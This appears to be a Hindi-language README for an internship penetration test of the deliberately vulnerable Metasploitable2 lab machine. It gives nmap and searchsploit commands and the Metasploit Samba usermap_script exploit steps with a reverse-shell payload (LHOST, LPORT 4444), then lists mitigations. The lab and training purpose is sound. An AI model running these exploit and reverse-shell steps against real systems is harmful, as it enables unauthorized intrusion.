Penetration-Testing-on-Metasploitable2

इंटर्नशिप प्रोजेक्ट 2 — मेटास्प्लॉइटेबल2 पर पेनिट्रेशन टेस्टिंग

• सारांश: यह प्रोजेक्ट एक पूर्ण पेनिट्रेशन टेस्टिंग वर्कफ़्लो प्रदर्शित करता है: रिकॉनिसेंस, एन्यूमरेशन, एक्सप्लॉइटेशन, पोस्ट-एक्सप्लॉइटेशन वैलिडेशन, और शमन अनुशंसाएँ। उपयोग किया गया लक्ष्य Metasploitable2 है और आक्रमण बॉक्स Kali Linux है।

• उपकरण: Kali Linux (हमलावर) Nmap (रिकॉन) Metasploit Framework (एक्सप्लॉइटेशन) SearchSploit / Exploit-DB (ट्राइएज)

किए गए चरण:

1. स्कैनिंग: sudo nmap -sS -sV -p- -T4 --open -oA scans/target 192.168.x.x पहचानी गई सेवाएँ (उदाहरण): vsftpd 2.3.4 (पोर्ट 21 बैनर), Samba smbd 3.x (पोर्ट 445)।
2. एन्यूमरेशन और ट्राइएज: searchsploit --nmap scans/target.xml searchsploit samba 3.0.20 संभावित एक्सप्लॉइट से सेवाओं का मिलान किया (vsftpd बैकडोर, Samba username-map)।
3. एक्सप्लॉइटेशन

• vsftpd बैकडोर (CVE-2011-2523) का प्रयास किया गया — Nmap बैनर मौजूद था लेकिन सेवा अनुत्तरदायी; एक्सप्लॉइट ने कोई सत्र नहीं बनाया।
• Samba (CVE-2007-2447) का सफलतापूर्वक शोषण किया गया: msfconsole use exploit/multi/samba/usermap_script set RHOSTS 192.168.x.x set payload cmd/unix/reverse set LHOST <kali-ip> set LPORT 4444 exploit इंटरैक्टिव शेल प्राप्त किया और उपयोगकर्ता संदर्भ को मान्य किया।

4. पोस्ट-एक्सप्लॉइटेशन

• सिस्टम जानकारी सत्यापित की: id uname -a
• साक्ष्य और स्क्रीनशॉट एकत्र किए।

5. शमन अनुशंसाएँ

• नियमित स्कैनिंग और संपत्ति सूची।
• तत्काल पैचिंग और संस्करण उन्नयन (Samba अपडेट करें)।
• महत्वपूर्ण पोर्ट तक पहुँच प्रतिबंधित करें (फ़ायरवॉल नियम)।
• अप्रयुक्त सेवाओं और अनाम पहुँच को अक्षम करें।
• शेयर और खातों पर न्यूनतम विशेषाधिकार लागू करें।
• नेटवर्क विभाजन और लॉगिंग/मॉनिटरिंग।
• घटना प्रतिक्रिया योजना।

परिणाम Samba एक्सप्लॉइट के माध्यम से सफलतापूर्वक एक रिमोट शेल प्राप्त किया, हमले का मार्ग दस्तावेजित किया, और एक शमन योजना तैयार की। पूर्ण लॉग और कमांड आउटपुट scans/ फ़ोल्डर में संग्रहीत हैं।